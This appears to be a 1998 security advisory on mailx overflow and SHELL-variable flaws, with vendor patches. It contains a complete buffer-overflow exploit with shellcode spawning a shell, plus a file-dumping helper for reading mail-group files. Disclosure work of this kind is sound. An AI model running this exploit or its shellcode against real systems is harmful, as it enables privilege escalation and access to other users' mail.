COMMAND
mailx
SYSTEMS AFFECTED
Linux, Solaris, IRIX
PROBLEM
Alvaro Martinez Echevarria discovered a rather serious security
hole in mailx, the good old Berkeley mail program. It's somehow
present at least in the last versions I've checked (mailx-8.1.1
in Linux, mailx 5.0 in Solaris). The bug is an exploitable buffer
overflow (using the HOME environment variable) that allows any
local user to acquire the privileges under which the program runs,
usually group "mail" (on many of the modern versions mailx is
setgid "mail"). So the bug allows you to get "mail" group
privileges, and this means that at least you can play with other
people's mail. Although this wouldn't be very nice from you,
this shouldn't be a big problem for the integrity of the system.
But there could be a much more serious implication: being able to
write in /var/spool/mail is usually an open door to the root
account, for example by using races and such in mail delivery
programs. You can check if your particular version of mailx is
vulnerable through these steps:
$ cp `which mailx` ./mailx
$ HOME=`perl -e 'print "A"x10000'` ./mailx
Segmentation fault (core dumped)
$ gdb ./mailx core
GNU gdb 4.17
[...]
#0 0x41414141 in ?? ()
Here we go. By the way, although in Linux 2000 "A"s are enough,
in Solaris you'll need more (10000 worked for me). It is verified
that Debian GNU/Linux (package mailx-8.1.1-9 and previous) is
vulnerable. Solaris 5.5.1 and 5.6 (mailx 5.0) also seem vulnerable
after a couple of quick tests (so not 100% positive). Redhat Linux
mailx has the bug, but as they don't install it setgid mail
there's no direct danger.
The person who tested the bug under Solaris told that he had a
hard time (Solaris 2.5.1). It is documented in Solaris bug
database (#4152234):
tcsh$ setenv HOME `perl -e 'print "A"x10000'`
connection lost
Seems like tcsh doesn't like huge homes like this. Second try:
tsch$ exec sh
sh$ HOME=`perl -e 'print "A"x10000'`
sh$ which mailx
Segmentation Fault (core dumped)
However, following will do:
env HOME=`perl -e 'print "x" x 10000'` ...
Tcsh calls abort(). About the bug:it is in "fio.c", in the "xname"
variable of the "expand" function:
char xname[PATHSIZE];
[...]
sprintf(xname, "%s%s", homedir, name + 1);
It should be noted that homedir itself, at least on Solaris, is a
char homedir[PATHSIZE] which is copied from the environment.
Exploit follows (tested under Debian):
/*
* mailxploit.c (Linux/i386)
* Sat Jun 20 00:47:59 CEST 1998
* Alvaro Martinez Echevarria <elguru@lander.es>
* Exploit a buffer overrun in mailx using the environment variable
* $HOME, to acquire "mail" group privileges (assuming that mailx
* is installed setgid mail).
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
/*
* The location of mailx.
*/
#define MAILX "/usr/bin/mail"
/*
* The gid for group mail (represented in a char, in hexadecimal).
*/
#define GID "\x08"
#define DEFAULT_OFFSET 2000
#define DEFAULT_BUFFER_SIZE 1124
#define NOP 0x90
char shellcode[] =
/* seteuid(GID); setreuid(GID,GID); */
"\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
"\x31\xdb\x31\xc9\xb3" GID "\xb1" GID "\x31\xc0\xb0\x47\xcd\x80"
/* generic shell code by Aleph One */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long
get_sp(void) {
__asm__("movl %esp,%eax");
}
int
main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
addr = get_sp() - offset;
if ((buff=(char *)malloc(bsize))==NULL) {
fprintf(stderr,"error in malloc()\n");
exit(1);
}
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
setenv("HOME",buff,1);
execl(MAILX,MAILX,"-n","-f","~/patata",NULL);
exit(0);
}
'segv' found more problems with mailx have been found. While
browsing over the source he found the code that handles the '!'
command.
if ((shell = value("SHELL")) == NOSTR)
shell = SHELL;
execl(shell, shell, "-c", fname, 0);
As you can see the function value() grabs the value of the
envoriment variable SHELL. Then assigns the pointer 'shell' to
point to the value of SHELL. Then call's execl(), and executes
the shell -c <command>. Therefore we can write some code which
simply dumps the output of a text file and in some cases (RedHat),
the mailx program is sgid mail.. So we can read any files that are
readble by the group mail (since mailx is sgid mail).
------------
vges@ux~$ cc -o m mailex.c
vges@ux~$ export SHELL=./m
vges@ux~$ mailx
Mail version 5.5 6/1/90. Type ? for help.
"/var/spool/mail/root": 1 message 1 unread
>U 1 root@ux.kdfdm.org Sat Jun 27 03:59 14/351 "hi."
& !hi
hi this is a test.
!
& q
------------
// this is nothing special, it allows you to read files that are
// readable by the group 'mail'.
// feedback: segv <dan@rtfm.net>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
void usage(char *prog);
void main(int argc, char *argv[])
{
char buffer[1024];
int fd, bytes;
if(argc != 3)
usage(argv[0]);
if((strcmp(argv[1],"-c")))
usage(argv[0]);
else {
if((fd=open(argv[2],O_RDONLY)) == -1) {
perror("open");
exit(1);
}
while((bytes=read(fd,buffer,sizeof(buffer))) > 0)
write(1,buffer,bytes);
close(fd);
}
exit(0);
}
void usage(char *prog)
{
fprintf(stderr,"this program should be invoked by mailx\n");
fprintf(stderr,"remember to set the env var 'SHELL' to the\n");
fprintf(stderr,"name of this program.\n");
exit(1);
}
SOLUTION
The updated mailx packages released by Red Hat on Monday June 22
for Red Hat Linux 4.2, 5.0, and 5.1 look like they have this
fixed. Go to:
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/i386/mailx-8.1.1-3.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/alpha/mailx-8.1.1-3.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.1/sparc/mailx-8.1.1-3.sparc.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/i386/mailx-8.1.1-3.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/5.0/alpha/mailx-8.1.1-3.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/i386/mailx-8.1.1-0.2.i386.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/alpha/mailx-8.1.1-0.2.alpha.rpm
rpm -Uvh ftp://ftp.redhat.com/updates/4.2/sparc/mailx-8.1.1-0.2.sparc.rpm
As for Slackware, fix and patch are located at:
ftp://ftp.cdrom.com/pub/linux/slackware/slakware/n3/mailx.tgz
ftp://ftp.cdrom.com/pub/linux/slackware/source/n/mailx/mailx-overflow.diff.gz
For SGI:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x yes not avail Note 1, 2 & 3
IRIX 4.x yes not avail Note 1, 2 & 3
IRIX 5.0.x yes not avail Note 1, 2 & 3
IRIX 5.1.x yes not avail Note 1, 2 & 3
IRIX 5.2 yes not avail Note 1, 2 & 3
IRIX 5.3 yes 3347
IRIX 6.0.x yes not avail Note 1, 2 & 3
IRIX 6.1 yes not avail Note 1, 2 & 3
IRIX 6.2 yes 3348
IRIX 6.3 yes 3394
IRIX 6.4 yes 3394
IRIX 6.5 yes not avail Note 4
IRIX 6.5.1m yes 3393 Note 5
NOTES:
1) Upgrade to currently supported IRIX operating system.
2) Chage permissions.
3) Unsupported by SGI, "freeware" sendmail distributions can be
found at http://www.sendmail.org/
4) For IRIX 6.5, you must first install IRIX 6.5.1 Maintenance
Release and then install patch 3393. If you have not
received an IRIX 6.5.1m CD for IRIX 6.5, contact your SGI
Support Provider or download the Maintenance Release from
http://support.sgi.com/
5) Patchsets have been replaced with quarterly Maintenance
Releases Streams starting with IRIX 6.5. Information about
Maintenance Release Streams can be found in the IRIX 6.5
Technical Brief at: http://www.sgi.com/software/irix6.5/